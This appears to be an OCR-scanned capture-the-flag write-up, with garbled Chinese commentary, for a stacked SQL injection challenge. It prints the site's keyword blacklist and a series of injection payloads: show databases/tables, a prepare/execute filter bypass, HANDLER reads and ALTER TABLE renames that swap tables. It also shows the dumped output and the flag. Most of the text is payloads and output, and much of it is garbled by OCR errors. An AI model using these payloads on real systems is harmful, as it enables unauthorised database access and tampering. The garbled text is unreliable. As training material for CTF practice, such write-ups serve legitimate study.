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return preg match(”/select|update|delete|drop|insert|where|\. /i”, $inject) ;

=1’; show databases -+ B8 E 4
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array(2) {

[0]=>

string(l) "1”

[1]=>

string(7) “hahahah”
}
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array (1) {
[0]=>
string(11) “ctftraining”

}

array(l) {
[0]=>
string(18) “information schema”

}

array (1) {
[0]=>
string(5) “mysql”

}

array (1) {
[0]=>
string(18) “performance_schema”

}

array(l) {
[0]=>
string(9) “supersqli”

}

array (1) {
[0]=>
string(4) “test”

}

=-1"; show tables —+ &L it i€, B/~ K T 514

220.249.52.134:30979/?inject=-1"; show tables --+
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array (1) {

[0]=>

string(16) “1919810931114514"
}

array (1) {
[0]=>
string (5) “words”

}

=1’;show columns from words —+ 22Xk BN (£ & iEH])
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array

}

[0]=>

string (1) 17

[1]1=>

string(7) “hahahah”

array(6) {

}

[0]=>
string(2) "id”
[1]=>
string(7) "int(10)”
[21=>
string(2) "NO”
[3]=>
string(0) *”
[4]=>

NULL

[5]=>
string(0) *”

array(6) {

[0]=>

string(4) “data”
[1]1=>

string(11) “varchar (20)”
[21=>
string(2) "NO”
[3]=>
string(0) ””
[4]=>

NULL

[5]=>
string(0) ””



nothing...
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array(2) {
[0]=>
string(1) "1”
[1]1=>
string(7) “hahahah”
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from ~1919810931114514 ;');prepare aaa from @sql;EXECUTE aaa;

sele ct
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strstr($inject, "set”) && strstr($inject, “prepare”)
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array (1) {

[ol=>

string(38) “flag{c168d583ed0d4d7196967b28cbd0b5e9}”
}
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handler table_name openiT FF—ik %

handler table_name read firstiZ BV —1T N %

handler table_name read nextf&k X 3REXVH & 1T

BJE —T#IT 2 )5 Bt Thandel table_name read next& ik [A] — AN 2 B 45 5 .

1';handler "1919810931114514° open;handler ~1919810931114514° read first;
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1'; alter table words rename to aaaaj;alter table "1919810931114514° rename to words;alter table words change fl

ag id varchar(100);
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alter table words rename to aaaa; JGiJERHIwordsF & FHURHIH, XAFEE

alter table 1919810931114514 rename to words; H##1919810931114514 14 F ¥ Awords

alter table words change flag id varchar(100); K& FZFHERF KlagiAid, FREREBLK HIE

RIBBATAT or 1=1 -+ HER B R ERLE R

© | £ 220.249.52.134

B FRAEELRIREE, Ri—2iG: F4&

|y =i
arrav(l) {
[0]=>

string(38) “flag{c168d583ed0d4d7196967b28cbd0b5e9}”
}
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